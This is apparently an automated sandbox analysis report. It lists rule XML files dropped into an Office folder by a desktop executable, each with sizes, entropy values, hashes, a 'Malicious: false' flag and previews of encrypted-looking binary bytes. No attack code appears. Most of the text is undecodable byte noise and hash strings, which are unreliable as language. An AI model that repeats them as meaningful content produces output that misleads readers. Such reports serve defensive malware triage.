Preview:	<?xml...!~.m.A.o{k.@_I.8.I.5.8..P.r..9..`cd.G.?.eN.=.h.K..:'@....Z.-..P~..D../.g?.$..W.....+...}Eu....,.......$...?.........CM.>.,.G0..W..]..../.MB..=.i..K.\|...Yd.l.r.?..Ei.,G...=.K]...x.x..X.Ao.....3;b...R...Y]gh.EyG. ..Xn.m..)~fO........N.Y..1~...u7..jKr.OH.6.3....m.............!..-.A....#...Lx..l..........'i...a.B.+j.d.F.....a7...gz$.8.v......qZ..y..W.[v.N....;..z....D.pf[(.A.e4....K./8..?`[4.5P...X....U...\.a6V...x...w.\|.b........U...AGW.N.R......Q%....mHB.#.#r.(v"7.D.jR.&>.KW<..].f.]..N.{._7m...S[.W.w.....x.q.....(G.p..[..9.......2L..m.jR..<.9(.......B.WP...Z?"......6........^..E.H4.p..zG.......w.A.i....;...x-.....k...P.....Io$m.Sm..;N.,).;@a7.6.e..A.g....x.N..kw..b...&......9y..@....IjS>......J^.(.....+o./.j...q.g.i.6O..X...T....t...)..s.t^.. h ...Y.?1...D%.. .<...b-...p..G..S.....X..W.......=.(......[.X....i......_.......yt.=J.k....".s.'.iLO..u.4.wy.+Q.#.,Lx..M....M..tl..l;Fjk.}...G....~9..%....I.........5g.......FL.......j...]....{e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.892813145175556
Encrypted:	false
SSDEEP:	48:SvPm1EkBkS7jnm6FcM7l5Adf/KoRu6CYB/yUiFqHi+D:SvYB7naM7zMf/K4CYB+FqZ
MD5:	6E94B3B84686FD0F70432A3D3ACACC54
SHA1:	A085D7CBA8B628AEB0A8C9DC0D0A22C5E5054395
SHA-256:	EFF3413868E8FB76B980B2A2D905E4C6BC8673D73B3F00967136C62A681F8DA6
SHA-512:	23154B7B830A96532A879564D015BC5BFF250AA2E28B3C1E8EBE16C7CA30820EA998CE94B2D813258A18ED5439C306EFCAEA72DF8A6A44A9D788F383FF6CE2F0
Malicious:	false
Preview:	<?xml~U2....QI........V....`.ga.[Xs.C...Z.Z.n.t.@j..v...j..p.(...^..d.\|0..O.bp..o]I.....w.z..V. P1..\|..e....e^...n6..V(....h3l57...KV.Czi....:..5.`&..a!...5..cP..vw.P...K@o.\....fz..S."...)..M....R}...E=Ck.3....@...2.\|..Z8.".J..].]:.\|Y.![>..EL.P.w.!......Y.L...f.).h.E....(7....."...6.x.......#^.......:.;.7.U_...lV.nC.k..[...}2.j.....wx.?Q...'...\.......Qw..".J........a$....8N.Xz....U..v."..../......=...9y.j}2:..\..!.."...e..D.......~h..%Z6h....v..........:.D.....R.%?...6.../..c..g.%_........whz....$Z..ty...~.?E..p..NB..6.....g.z...-...9.%.r{A..?..U.a.@...m'.ex.x.....S.?.}.p...@0..p".G.5K...q..V.....Y....>..y2u.:+..1..?z0...K.05..\|0....4.@.[:....^-.MXmR.......[.._....1um.>....gl^.3]..w8....f.g..{.H.y_.&..._.2.....R.........s.{.We....V...jH..2.pdx...}<.$.gr.b%.(...H.:...E.oq..Ra..q....#...g...Y.&...........S.>..<V.....J.a.\|...lb...r.a.?c.2.u..H.j.A..T..b3.......'..!.4..++.7..m oP,7.TpP....)g%..9LX..fBL*=...s....o..;_...........4.#..]..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.872778863900555
Encrypted:	false
SSDEEP:	24:MIrUZ4jWxjpmW/zMpJIIVynPQ++HSGKXMqke8PBUVuEADplDMfuaJ/7x1lf3F+tg:1rUzYJII8I+bLcqMiVLAfDElxUthQkiD
MD5:	05F137004A66F775E849A15A7EC952B3
SHA1:	E7297EC233B1D093FAE052758537E61EB7EE441A
SHA-256:	AE35EF2B32BCCDE4458DC42ADDA1DD3BB2E2FC1FCBF23FC182E701E71C8AB653
SHA-512:	F92651CC90C4268208C48F7C84935649FE20F10C18B40593961FC063A7B2F91B9EB138E350580BD721885291D622E330DABF914F2C18FB4F75633A952FAAD9D8
Malicious:	false
Preview:	<?xml......+.:z..'.B.35..4.W7.X...LeE.u......-d.<]......0./.....#.MK.\|+$^....0..\|8..........\R.g.Jnl.}......4x.....[.G.`...........xX.....:7..w$(\|...F\|..5...&..P./.wW.YK.V..].....T..l.0...q#W.B...?@.{Q.O..V..}.B....@.....t}.gK.Ql/.\{.......TOz.Yg.....n!... u.........L6.D.`;.>......G.gJ<...N...Q.M.I...]d.E..N. .K..q......^..G.....\.4Q.L.R'..;.fY......wJ.z......Q~.Mp.r{...(..?...lW...Y../.........>....TC.:..F......r.K.%......j.wP.\..c.~Q.......b.g.....C.$.....,.%.o..v.D....OX.ev)..V..............NKY....!....P.90........}.....J.O9...K..@.7..H...pt"......X?\|+.}.3[..(....2OI..S...`...gh.u.wj..u....t5Sz.&...._#..a."..\...1.e.....l9....p.hm.6.....Y@..P...6Q.........~.3."..i..+.....K:9..5....J......V. ...".XA...6.$.!.\|w.....@B\.b7n....Q).=1>...0.-..b...0].=..{$......PG..95...\|M..dp.(..............C.'Nr..#..3.o5.v~.a.+.~..T...UT......9.W...R.j..Wk3........3kL..j.q.rA.F;%.%...}.7M....%.n...1..i.\./..........0].D..V.L.1.F...v6i.-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.887754683802246
Encrypted:	false
SSDEEP:	48:4uVl2b/32PG5mJP1PxppaRotrcMPVL+PQRPqwD:4wl2LGeoZoRotrciTPf
MD5:	1CBCE252C4BEB09DFE64068C15CEECB2
SHA1:	F957EBB9EA4E4DCD61EA2CED4065387B91BD18FE
SHA-256:	5DC736C763D8A162954BF826D88D0AC8817DDE79616E6D06C9C5FB5DCF33E4E0
SHA-512:	B9911753B9641B05F250856F285D8326D3EC8AF65D2ADF7C54B7BF941233E068A11B80AF9CD192810078CA8A0E20D8B69E4BCB76D9156C74EE0AE62FC0719F0A
Malicious:	false
Preview:	<?xmlb./...M.t.6..{....x.D.&.8.{.2.t..7.G$..r.3^...Bc'......&....:..)..$g.E.........1c.,lB.E...p.e.sAq.l.(I;.S..8K..=.%..i.ih.....P...3}8i. ...W..M.K..T.Iv..R.5..:B..oh........N+Z.\|.#...Y..gy..@+4...~].Q..;H...h...LSXr...:q.T#[.........5;....'......&...WkS.%n_..I.SN.?..~..z..1A...'T.~..P.._..?.+)Y._e[........./p..n&.y0<.-?5.vh.@../!.x.M..37[..}.TX&.b...=nN8j....3....x....q3_=..d&.W..... 4.l/..o.%...!`b.f...Y..,(.$.Y...?.......%..(At...:.. q.a.....4...KS....a:..{D...fX.;..m{.9.2\|F....rT).s....U`a.;...r.<.0V.u....V.uv..L.Do.JQ..w8......@{..Kl,.Q@u8..G.'...K.o$....mg\.N...$Wf.g;..\|..VU...p.......&.,E{\}.z.%3.....(.<.....o...>.P..y..U...8.0.s.E..u..V8a..R@. ...A..f~N..91@%.b+....:M[..TvN<.b,..2.a..WM1.fx}.;.Y.x0.._SH......._.U...5....h.0oN;...s..<Dz..br......P.~.T.?nA..5e,vt.8.=....C....x.d.8..>sRN..).l....\q......_.KY...%+.....Y9..U....).8....K_O...6Z...K.. .O7C.^.@.}.3......l.._.....V_.1W....Y...o.].*..ec&X\}}..do..S.iG.B.c.\......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.866973793132201
Encrypted:	false
SSDEEP:	48:guPY2cLPcumstFyWt05uFq7rvc87lYaf7oD:PQ/LRTFy9uFn8hrD0
MD5:	17F207B4C48CF5673EDF9384C60ED0B5
SHA1:	79CFE69ABFCC5748A0A1C4A31F2A7C2EF90DC7E7
SHA-256:	F7966BE5D7D28D8FFE0B29B6C5674B4DB88D079D9B69B9FFA396E631D0495B3A
SHA-512:	D320DCDC658785F8B48A1847FAC78CADC192AEBD21F7287F431211C666233FE8C290F612B2B19B5EB55307AF08BF4F2218633402BB7E2FCE553891654BA51F06
Malicious:	false
Preview:	<?xmlj...=....C0f.X......r...nu4...Z.....[..=Bn....3.=x..-.mr.K....[..F....f.ai......<.......$8j.R..)+^..GeU.uJ[.........E..g...S[..y.U'tt..D....C.[?.s.%%..1.*AH4....=x.\|_..G......[.B....a...^..=.:(.~.\|6. ..F...9......+8...,......X;.;.gV.k#.'[Uwdvj.[.....`.J.z!....D...)U}..Cv..ydc .....V}.T......I.]W..&VE.f.Vj.\.S?B8c..._..z.2>...9..{5B..0...4...Y....L...g.x..!...L;&....U...r...r=.6...T..=...#...z..P\|g..sX....)......@......7f..o0.r.8......X.....'.Bn...s'E.#>N....n..)...)`d.(.0.?y.mw.6...).M....n...v.....=.P....$...u....[......(..pu.W>..=..u!~.c&..s...G.<)...7.5G.`..z.B..K.Z....Q.>.1.;ie...fA.L`).....Sx..S..../K.JR...^$.`...8..t....ED..$...QF.....T#.)...}].DGO.J,....B..F.}..Ug.Y...?....B...f..6?:_......o..`......yy...X....FA..v....#..9.6.........._.f.a..?.."....F.l ..T.N..>......"..$.6..?x9+4....^...Ae.....J...k.......=\....Em.=...`.u..HS.ii.m....V(.7.yZ.i..Jl..mG{x.@...A..-y..R...J.........^@.E....8...y.9q!o.gW.>........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.8826161731651725
Encrypted:	false
SSDEEP:	48:g1SO39DlcG+KJUR1Qkq1IFlbDYeW36NYCD:TO39DlttG1QLi9Y53JK
MD5:	8332E4C21699C42FD3AECBAED7E31031
SHA1:	CE5F956553FD1DB4C69B68C189CCD8B33D14FFFE
SHA-256:	CA8E0A4CD6C64FEA149A8CD39CEB6542DF96B7D8A2E3696BB21AB65D147E28C0
SHA-512:	35DBD4EB2EABCCB82DAD04D845C9E59BFC8C9BFA136DA69E0EC5F06AA26893650FCD3DAD8198DF4F03F9B9D7E29DD354F9A87DA915540103324FB59D74DACD30
Malicious:	false
Preview:	<?xmle4.:@..........8S..5.Y..v(.../..zA....%.!3..S.....%.oUZ....z..a.E>..kH.$..n.b=.'..w...B.!;fl........]..f .~...H.e.r...)..-..K9.Z@.....57....u.=............6.fD.B6:".n.A....G..k.Q..;.i...z..z.=G..(.<-}..(!.R..dx._.w..<.^_.)P..I....j.$.\|......%..w)m).F>.!.n<...J<.B...8j<;.pG.'.U..X!...P....`..;..=}.c.cZ!..Y..R.@...8.w.xRX....M...u:..../..ElXo......Oh....".......}>....g.^...L'.Mr....Z..5:....^..[.D..%.......!..B.g5h...g.{.<.64.]..D....~p......VG'.....U...l....lJ^...b.........~...#.T...2ry.!:s...Pl..&....<...Q...q./.mX...#%@...?.p...C.......Q....../.8.'...)....w.d....<.cS....7...o...<..X..... ....._..U\..cY...j.N..c..U.o..v.....6.z..wg..J_.chL.Wx2.=...1.....lRO...<!e..x..c...A...>-.......Ru..d...8L..i.....z...f...........p#.I.Bt.o..&a.Ht+...5dZ...G...^.....dSR3.F..{...M.+..>F...s.K;....q.c....&.s~..b[.O.y.'.5.6.....xX.$......v.....,."E.......<..r..tVdcC)...C.H.F.\y}.8..f..<.!...'......5O1.3.I&d.\|.\|..j.#.@x....<..8.....s........y.Vky.;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.893886590163754
Encrypted:	false
SSDEEP:	48:38lUpdEDOIKUxlYQlftXYYn7XGuL5rkkrFD:38GExKUxlLlfxz9CU9
MD5:	BD88A11D00732FB407970D47AFB767A6
SHA1:	96ACAB503B884985295D24F69434B30715094295
SHA-256:	6C6B8C138B537DD817D615939A7A1F6D7BBEF38A04FC21EB300277FC361C8408
SHA-512:	C1977486C4CCEE5625CC2E9641BAADD81A7E670C31422079F7CA7138428F3D81D0B222395102DB019730E806DA1385A2B75280306BBF65E8A60702F14EA84EBA
Malicious:	false
Preview:	<?xml.....R..;..MS.t.I....-.....k.....x.n.N~.gTL...$.&#..$`N.&/f...O..{J.[^g2C.w.5?3;oXqq.......W.l...s.H...]:h.e..#.4.V.:..$.>......uYQ...S..Ke....?...LE.2...%:....?%T.......\O5..e.. ...mw'..rP....V\.C.....\|.@..s..W..I....<{.B.b-q...x.1...+.'}4.gb...1S"...j.'l+.v.?...:a~...~......}O...)mV%...}...$.i.y.+%tn..S4.9.4.x......,..C....d...T......O2..q..W0.]i.p;.....4W..;iw,..N....'..F Y..f+..fN..6....}Q......r....W.%V..]...,..<.wa........'...j..].&.\..?."Cz..i[5%.'..N.Z.S...,Q.l.%.......M...X......q.`1...3.A..o...+...g.....#p.q#..`.K7..........T .1xS....z.nx).4L...2D.#..f.H5w.w ..{..v......N.r=.q...>._<".P....=a7.....J....<8....x...\|."..f.d}.....9.{L.=..E..H....Zm.....X.......2z.5..=.....xh.7...+..+....U..hsk.z.A...b.G2...R...\$"yN..cm.69..7\|C...W.P..Y,.I.)..h7.@..5.C..p.....6.......).._..)\|."....O,0.e.K.v..cu#.k.,;.....C...?.Vh./...F....8y...Xm.Z..b.E.=.E....$..:LC..)....+.-d...JUn.7....w. _..'.\|.*aS.=.n. ....^...zx}.c.@.0t..D.?B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.8701117280778785
Encrypted:	false
SSDEEP:	48:7DDcSmTHDCN8zyCxdjDa3Ic6CCRejquZIqHDmBhYzSyQE9D:rATHesxBAkCCCRZjDmXYzuEF
MD5:	FA0D7FD333CB7D852FE7984EF6DF075E
SHA1:	0E24694827056D6D952EE55E399662D3F75BCFA3
SHA-256:	D378D871030A5CC24B6351EA5967099F40CEC2F69FEA2C7267857C8AF1E3006C
SHA-512:	C3EDE4EFDFCC3D694DE61055A6B4E8563E744D4DA7884B43CF669A08C23092C0F24568C62EBACBAB53E31E91A2A08C64ACC9501B71D40E72BE4DA012D1B1D8B7
Malicious:	false
Preview:	<?xml..?.`..9.69.o8.R....}.......-.7.s..8U.kV.0f.I..8l_<..r.M.%.t....GtK.......4~..)...e.~i.$,.m.rp.lsN.M...!.0............g.2..)....EP.....F.o...o. ...\|....O.....v......^..$z.~._.....J.Nk..1W.[.......6...'....8....4..5..>P.MO.g..s..p..N..3.Yb.a.^.L.%VUq]k.@..E.&7h..n.n..lm..D.G...m7.i.b...E.s.......%xx[=.Z................h....e.u...p..(.78P...+...Q.Mhg..C-.m._&J(...a...1.=.YZk!.~MH..<..N..&.+...BN2.M.G";..N.....9. .1.{...Xi...?...S.....M.b..T...r"F.'.$..Ry'......9g;...A..#.......t...7..:ry,.).tk.E,.v..[.C.~-....B...#..lf.....ZT#F...7..&......QR.$.\......X.>.Yb...2. .../">..8.Q..1...0..&.._v..N./.B.....b..f^.B.4o..U..*S..@../...k...%....G..Yy.]....!..\.....l."....{0..'..!>9........L..%..:(.>.dP..Bb~..'\|.t%..A.A......;E.z.....\.Z\.......B....V(.8...\G.'<.A......'.....w..$..z.~$e.C9..........s...._."76.r.....m..W4......c....X.m+!nO...FH..P....--'YW.)?.D.(`&.k..EIx@.z4& ...9.q...'.....n...U.Y._.:.$+G..:". .w.b....r...i...Y.j...c{..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.887832665101982
Encrypted:	false
SSDEEP:	48:GpH/JO+lrkYmK1as5y/6bOlRZ+uaN6qJpD:QH/RnL5y/6bOdVeB
MD5:	DEEF37D6022EC8DDC7A78940658D964E
SHA1:	A2CB10086907A14C795E90A998FB4F2630ED9438
SHA-256:	DED1DFA5B185210C171D197130A2BF7ABB744BEC16A0E303D82CC823B977244F
SHA-512:	91AE92FA4929BBE4BC037B69972DD0518FC718DA3BEDDD2F8EC9B5CCBA7979BFFDF28F0F0FB2E5A55A5D21C59BB3F630CFA938A23CC292B2D4F5A2C2D736BEBB
Malicious:	false
Preview:	<?xmla.......h._.P....\.Q......p.7I...@+<....G.K.......7B.f.u.._a_.#.....3.5..D.W.&.^0o...... 3....(. .sG..A.z.....$..\|.[0.........+.........h...q.C'.0..(."..T......(..8{C.\|wO{P"...4......\|....Q.4.hV~...j..(...^...u..@.(I..9.M/7........u.p.bN...R..?....7.....b.4...{.y.a...(O..8.........O..O.....w..6...d(.h..&X.oo-h6b.w...3.8.`K....".T..........S$3!S..?.O.:.J..t%...w.JV.t._......e.....2G.A.7..6F...B...I[3t..g.JFp^.,........,...{.&..f..T2...Z>k{G..%.Orv......).l.J...r.eW..A..t..N..n..~......l..W."&.)..C........@{R..l.Y]..\-.Hw.C..I.+&.............v..@.$,.q.K..#..B.uyd...n..C... ..q.Z@....)..2$m.:..6O...;:t.SEx+UI...J@..9.?..b...1)xu..#..4..LDb.....c.i..>c2...%.S.e1..W.#.....]..R{l.=``.M.."....-..T.9..x..5..YO!.....g.N(..[.~...A..;.E..kmd.iJ..........f.u{.....j..\|X........i.L..k.~.LP....L.. ...g.%..e....f.,.i(j..q....u...-.@A.h.<:.7pI..j...\..F.S%woC}.. ........(..V..........n)c....'....6.....lP...........3....(.{.QAl..:.2...E~.g...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.879444015401011
Encrypted:	false
SSDEEP:	24:Jyi5hQPaToS1TYrWVGGM2qArpNZyuKnIbILOYy+UaMFEQNvm2wZmbSi5rbD:sgqu1iUb9NkDfLHUa4hqti1D
MD5:	160D7F955B52C286E3EF448E55045DFC
SHA1:	42AC8D34D9EB87DA2B406AAF523FB0C64FDB1159
SHA-256:	F2027B78611F1A7F36156228009321332CE2313FA8E848A1D7AA6346353AFBDF
SHA-512:	D9BC2452B5BE2DEEA15146DBC530B67AE1FF62B906BF7F7E7EA46E177E32F2893F175877BCA27F57FC114481F2DA536346453310AF8B7A16DCEF89C65F37602C
Malicious:	false
Preview:	<?xml.<.H.+....m....7M..~S....e...2=.y1..B]..6...o...i..g....0.).<A./GG#...f..eW.....9..%a2f^.@.=.2...).Ly....j.[...A....k.`.......\>.cP....,....U.2...3..-f:3..H...G.....v79f.C.sA...a~.....Js...@....Q.9..M......!u...\|8...FJ.......o.h...P.....)..U,d..!j..2..L...2..?..Z.{.8....w..=....'......%.$/.Lh.N.o..a.{l..B..../..UG.:moZ..:ReX.4.o.V.i.(....5.+}.~...6..X.w....q..!.....p.LZ.8(.c.....4...].YVP..>Z...K....K.m%....0C.$S`.9Q...S...2$+...S.E:...=.D,}.^....c....TXm.....SC.R...""&7.V.#)..........;...Q..4.V.....3..,P...{\|Ck...'.3.u.D-X.G..j...@..;.E..(.....R. ..G..mD.."..V.6ii.d<...wL]....87..W.2.A.1"$..h...DE{.aA.....<........0.E5......bP.{m....".L........Zu&^k1-..'j$>j.w..).n5.....O...\.......l..%JI..0.'iWr.....#y..d.$..+..O^..!.(.N..q...:..1\|.H(.u{.b.~/../8.....O;...?..9-....E1a...1>ks../..M.\|.S._.eM..Bb.....-...('2{G.....E.^=...C..P.w_@.v..'B./E!....2].j....H.j},....h..a.....5..Np..W.9......X.0o.V......)e.sfQ.V0..X...H.Xg.sE.Ym\E.p..}...F...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.879941634551357
Encrypted:	false
SSDEEP:	48:zsm67qB6D4qtwwf/G49IlNu3ovf5/Ml+gszjc7yWmFD:zk7q0DzTW42lw3cBUl+bjiy7
MD5:	8FBA72D4891CB9A85D11A5593A9166DC
SHA1:	A06B3F536D4D40A54B36214ABDE1C01A2C9AD0C9
SHA-256:	22BC3F8C4B8CCFECC7F0FE731486F991902AAE43241EFEF3AAAD2AC40EBB60A7
SHA-512:	64A5704CA3EEFED3834CBE3A624FB3E451348293744E2B4F4E2ADCE04B6FE071BB9BBCCE6C51D02DAA2F85C5641F7576792C50724715FBB975937C1D603E6E82
Malicious:	false
Preview:	<?xml...>W..b&R...~...... .p..N...EX9......U..z..HE=9...O...A..d..\b..B.X@}....x..q.....5$/.........0.`...O2...k,...w.?...h`rt..0.c^..iao..kBS.]...e..8...@....m2...Qj.{o$Hf....m....KrNE.q......^b_F:^......C.8....,N}.H....O.K[H..{v..[..W.;..&.(..z.v<..D.TP..x.......f..{..t.GZ....a..nN.....%.........h.F1.V.'_s_.A(....S......b..M.^/d=8..?..;.T.$..T...<_.......GVms.Q6.6I..\|.".W....f..Y.A0..%.b...!fg..8..Hios,Q..m4..nF..wp.......y.p..(..z/..=.....@P$c23.M.."....yz.n.........K...w.dm...Q...#...i.adU..y..=...!v.P.O.5L..[@\l....\.UqX._fp.sA..x...@..\..........@M..C.qR..Q..J......[WAD.K.@L..x`......zr.;..-:.Kv....1fz.-.....Mas...F.Q.{o....u.S..6..].........o..c....k.Q..%...j..s...&3..1Nd..s.65~....(...Z.+...&.O...Z.\...oR:.X....<..Z....jBHZ....=...XN.u.v.....x[,cl#Q..j.E1.$..*.~..g.F.8.j.".......>.{>fFp.r..l.L.(?[..N..B..U..'&..C.......X.S,.W..y.....N.;A...cxM5n.[d.....4.!.U?..,S....Xt.....M.y.D..1.<+.u....q1AR.3p,....lj.O}..\.M.3.H.i..wJ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.891034563310818
Encrypted:	false
SSDEEP:	24:Kn7y3J3ajIFetq0ZmBEhLCBKGwEEIwbGU7aYEDJYJovkDnrtGRvDoGqghLbD:Kn7kcCBJWlbz+tco+7Gq4D
MD5:	544F8E910B0BFAC9192A1E5D09BA373D
SHA1:	F5C23A5ACCC9F16DC7AC71C473B9D02E9D721838
SHA-256:	97C906305EFFA0D2A60CE67713583C49B9A819535EB56D395A89B79573DE967E
SHA-512:	C0655AEDE7137EF3FA782AFD863D9A9497A15578193328A8518F0225D3EFDF7A9868CD3B15631377D479E93138817D5EA7DFA126C3B4A58BC3B7F707C30B8AC0
Malicious:	false
Preview:	<?xmlIm...8.T....>.....\|...j.......x..h....m..+H.g...C2.8.........YY..)Q.z.Ix.NI..oL.Tu...)N!.l.. .P.L..#.!.@ck..."...[.........6Z.?...<.J...N.......Z\|....~\.#w........{...Ft.j.n.:..L.U.t.tP..S....N+..t.4...k.UI......L+'>~./.7...m\|.b'>..T.P..W..c._$Ad.U7...3s<.=F.,.T~.UO\|1R.B.....v.....WL...J...E^...`,6:.....#}....D..s[......#V..-.$..w.,....{0.OT....],...?.......0..g..i9b..N..V._/....@e.._V.b.......!/.^..........t...&..zP.il%).e.....@.........m....,.Z.#.....W.Ya..1-.......c.K...g^.jc..?V]Cjg..&&.=.....>..]...K...Shh!....>.E..D......;A4.&#....Y..'<{..y.....E.rt.\.N!...../^q'a.u..S...^jP.. .+ha=.....-.4{;.X6..q.....Z.....D[u....y....~].....,6UZ..D...G@*a.g..B..x}.Z....}F.^..n.....n'\..l.e...}...FB..>E:P.>.bB.S.m.B2.a..e.-m.P6.:..L.DI..<..o...>........}."........>63..l....>v2.'...0.....@-..D........(yAj...gMX......G'Gm.c..^.m..G68.%...!6`....9.xJM.qNk..\.......t....676...R..g......W-....o..`..L..Q.......i\......iK..".k.An..n..84g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.891037832935308
Encrypted:	false
SSDEEP:	48:5USpidbSjym5PLvoWrLqua8xzI8W/34rCGW4W7u8D:OPdbHSb1LquHJw3iCGpEn
MD5:	F520A3655BA538545B5CF9A80F0354AF
SHA1:	72C6E18A4CA0D372A4E433CF32B649F0E0CE299E
SHA-256:	D3416E44BDEF9464A1C7D4F3D7F370DC6F2FD8C4D0C1567F16BDDB37FEBFBB42
SHA-512:	39035ADD92A0E94817BA0F10FAD1FF9DD8888D850ABDED7CD74E7C9238391B39724662230DEEC818DDFFCA58E974B511032A990B35C14703305F9E8071982D09
Malicious:	false
Preview:	<?xml.I...9..........h.q.&...._..dm....=..0....~`W.&..S...d..I....W\|....(S.a...tl..3..t..E....dGU..8.b..{....UTO..f...2...9........4hkWb....I..q'...^X.z. .....M.f.s#%.h.............0D.k..;..]5....6.<..\Lz@%.<i....MM...t".^_...&.v....'`z....S.4.J}..j.B8.b.@M.d.Y.H..F...y.~s$c.5....6....g4X4... .Y...h.IH#.....fm.....2.vkN.......u......[...;..5S..8e.m...W.Wg.^....@~)4..M6.m......."...$...lrc^CE..._..B...a..L2[......W3.q...ec.F....o.../9.0!.7.a.U...@..1........c..g`H......M..GBz.......a.....z......r...I#.....S1...@K.s.....m."..z..D.....E..h.j-..-D.t.E......&.C.4....p...J<..J._7.3b_^~..........W.#..p...<..=vQ.G_...^.n..H6.0.U\|.FX)2..#...=.. .a.....6[..;..Xy).....1.G...R.~...T.....1t..a.kFTd-.so.U;..tZv.G_.P.~0.m6.}MrE.b..V:.<e.1...<:...OK.NCYlx#..MsG<...(9...8z0.N.HyN..HZ... .=s>ERT.rb./m........n.uu.q.'..o..6.FE...b..*C...FG.uR...5a...~.....!b....P.)/...b..r.}M......O.........J\|.~.G.L?.....d..p.!.~h.......L.E.8.c6l..........y;G9`.X..p']...%B..y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.893288181907928
Encrypted:	false
SSDEEP:	48:AhdwR4xiBMTnc9U/8CjKaPXejUHL5zGv3ELD:SNxiLUUCjhLH1Gv3En
MD5:	50EB808AE7B7AF07F0FE41ABB6457CDB
SHA1:	1195C7AFA94762675F0ACADF3A9C0A1AEB6CBA41
SHA-256:	E80EF20B038E696A0CD7BD123CAABCA652C9E974BA681B86693BFE8E8D71B8D9
SHA-512:	08EC78E157C1A3D1BBD48450D0BD5A32E47CE3A064575A3D6BC06EF75FFCCED6982205E6CAA3B179ECE452113D19FD8D50882A7EC62E134E0FD296DE00EBC7B5
Malicious:	false
Preview:	<?xml$.[....`D..8b.V.(.^..zAzwP..f".4.\)........%."........`Cvh.aq..U........%i...)k2...D<..YM"..o,..R....T..mCQ...n..=.....&.].[.n.......{e..s .....e[3.."....{m..P...lb.e.F.2....C.Y..hE.K.......W..2.c.....nF._.q.q.;..M..l.z.e.O4...<...u.........\=<.-"...../\..Kqnk..~I..C....`I.O...i...n....".r.7...us...B..'.5.C...Uj.F.....I_.vB.2.g.,J..!...&..A....L.al...Ii..bz.?..$Z.$ts.h...KU.f........#..p.....]qRW=....!.cd.#.VT......4..Gq!7...#..X.O...........&.....K.f!...1X.+.2N!-.m.W,rvG. .....D.1A...[./b)..e..q._OL....6...L.\|..kX...3./..S\|.v..v.]2.a.....MN?.)$..27gkXq..k...B.Jl2...p.O.\..BxW..~E=.J...$...}.\|.C)F.$..l.Sh...d.C.R!.R\..j..o.#....uD#.(....r..<eV-j.^... .........=..2Q..,[4Ye..n>...!.I(dg.HUq.P..:.......(.....u.]{<.I....V..S}..'.rZ.3..2.\.G.."...`F...O...uc6...N....;j.......N3.4F2..R.i...(.fO.u..E..IG.3...F.A..:.S..e......5/Q....q.....4{f.O'..<py..D9a...0.E.~j.y..h...+...7.W....aJ..B.}........F......k...q5P...&.M.P....z.....S...4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.872902371037269
Encrypted:	false
SSDEEP:	48:ZEg7xpk4QgDCIRXK1U+b6T63SMYDpgy1WjjJlD:ZEoPkcDCj1qMYNgfjjJd
MD5:	13923EB9FC24AB9EB8F2BA314788D512
SHA1:	9804AD7005CE201F1AE5DA8FEEC8099A33E6EDB1
SHA-256:	28421BB4A61C53F3DDE36204057C4E49A8824DDFA851ACB107366FFBC91433D4
SHA-512:	FB59D2582D552A8809B67DEB314833DD695644079C8C6A4CF59B70C637FE149ED63E8E29BA0FC95FFFAF78D570FFCAB2968319244F39A65847EFDBBDDBD7CCBE
Malicious:	false
